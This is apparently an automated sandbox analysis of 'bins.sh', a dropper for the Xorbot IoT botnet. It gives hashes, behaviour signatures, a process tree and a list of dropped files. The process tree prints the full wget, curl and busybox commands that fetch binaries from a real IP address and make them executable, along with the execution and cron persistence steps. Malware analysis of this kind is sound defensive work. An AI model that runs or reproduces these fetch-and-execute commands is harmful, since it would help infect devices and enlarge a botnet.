Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02-12-2024 22:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    333efe28921c62bc81cebb18d9a6e7d6

  • SHA1

    de7c7c8d358a6d4ac49add9902ee77a9ebccfc66

  • SHA256

    0b484ebad0fae0be292db02d72f87470f7fe3e013ae3ef4d79d8795357b3fcf8

  • SHA512

    a148117669ec67c429297926d0e4d7ade365437adb2faf2e26870e00230c87f1e2914f06a7f445a4e2edc2afd678875c5aa7fdeda0061109994feeb4aef0bcb2

  • SSDEEP

    192:9MhNqbWTzY0aowDWJ1phC2Gt1gphWaQ7Ti++00SB141pb++EowDWJ1xhN8YTzYx5:yhNqbKaowDWJ1pXphWaQ7Ti+G1pb++E5

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          ./pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:738
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:740
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:741
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:742
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:743
              • /bin/rm
                rm pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
                2⤵
                  PID:747
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
                  2⤵
                    PID:748
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
                    2⤵
                      PID:749
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
                      2⤵
                      • Writes file to tmp directory
                      PID:750
                    • /bin/chmod
                      chmod 777 o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
                      2⤵
                      • File and Directory Permissions Modification
                      PID:751
                    • /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
                      ./o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
                      2⤵
                      • Executes dropped EXE
                      PID:752
                    • /bin/rm
                      rm o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
                      2⤵
                        PID:754
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
                        2⤵
                          PID:755
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
                          2⤵
                            PID:756
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
                            2⤵
                            • Writes file to tmp directory
                            PID:757
                          • /bin/chmod
                            chmod 777 VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
                            2⤵
                            • File and Directory Permissions Modification
                            PID:758
                          • /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
                            ./VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
                            2⤵
                            • Executes dropped EXE
                            PID:759
                          • /bin/rm
                            rm VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
                            2⤵
                              PID:761
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                              2⤵
                                PID:762
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                                2⤵
                                  PID:763
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:764
                                • /bin/chmod
                                  chmod 777 paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:765
                                • /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                                  ./paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                                  2⤵
                                  • Executes dropped EXE
                                  PID:766
                                • /bin/rm
                                  rm paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                                  2⤵
                                    PID:768
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                                    2⤵
                                      PID:769
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                                      2⤵
                                        PID:770
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:771
                                      • /bin/chmod
                                        chmod 777 njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:772
                                      • /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                                        ./njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                                        2⤵
                                        • Executes dropped EXE
                                        PID:773
                                      • /bin/rm
                                        rm njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                                        2⤵
                                          PID:775
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                                          2⤵
                                            PID:776
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                                            2⤵
                                              PID:777
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:778
                                            • /bin/chmod
                                              chmod 777 HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:779
                                            • /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                                              ./HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                                              2⤵
                                              • Executes dropped EXE
                                              PID:780
                                            • /bin/rm
                                              rm HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                                              2⤵
                                                PID:782
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                                                2⤵
                                                  PID:783
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                                                  2⤵
                                                    PID:788
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:790
                                                  • /bin/chmod
                                                    chmod 777 N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:796
                                                  • /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                                                    ./N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:797
                                                  • /bin/rm
                                                    rm N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                                                    2⤵
                                                      PID:800
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                                      2⤵
                                                        PID:801
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                                        2⤵
                                                          PID:804

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt

                                                        Filesize

                                                        141KB

                                                        MD5

                                                        3ca8decdb1e52c423c521bfff02ac200

                                                        SHA1

                                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                        SHA256

                                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                        SHA512

                                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                      • /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ

                                                        Filesize

                                                        111KB

                                                        MD5

                                                        701e7a55a4f3650f5feee92a9860e5fc

                                                        SHA1

                                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                        SHA256

                                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                        SHA512

                                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                      • /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W

                                                        Filesize

                                                        111KB

                                                        MD5

                                                        ca897a38f23ec23521ce0b1b83f8422d

                                                        SHA1

                                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                        SHA256

                                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                        SHA512

                                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                      • /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi

                                                        Filesize

                                                        117KB

                                                        MD5

                                                        849fa04ef88a8e8de32cb2e8538de5fe

                                                        SHA1

                                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                        SHA256

                                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                        SHA512

                                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                      • /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz

                                                        Filesize

                                                        122KB

                                                        MD5

                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                        SHA1

                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                        SHA256

                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                        SHA512

                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                      • /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV

                                                        Filesize

                                                        107KB

                                                        MD5

                                                        eb9c3a0de91fcf16ba17cb24608df68c

                                                        SHA1

                                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                                        SHA256

                                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                        SHA512

                                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                      • /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                        SHA1

                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                        SHA256

                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                        SHA512

                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                      • /var/spool/cron/crontabs/tmp.sjaFGs

                                                        Filesize

                                                        210B

                                                        MD5

                                                        c56486d9a65ad71f0e537a3f0906cee9

                                                        SHA1

                                                        5c9f89f034d99ec06f5cdb8a4c5974ac90ed018f

                                                        SHA256

                                                        2bdeb2885cc2d158cdca32bb03ae18a808dc80ab54ae9a1b21496335e21a5afd

                                                        SHA512

                                                        ba6251162a64e2f159479c47b3a1f5fe9b999254581f8cdd3437bac2ea545ac9c5473fc89ee610f6154a827b116eea671978946ccde9d764db498e60493f0ad4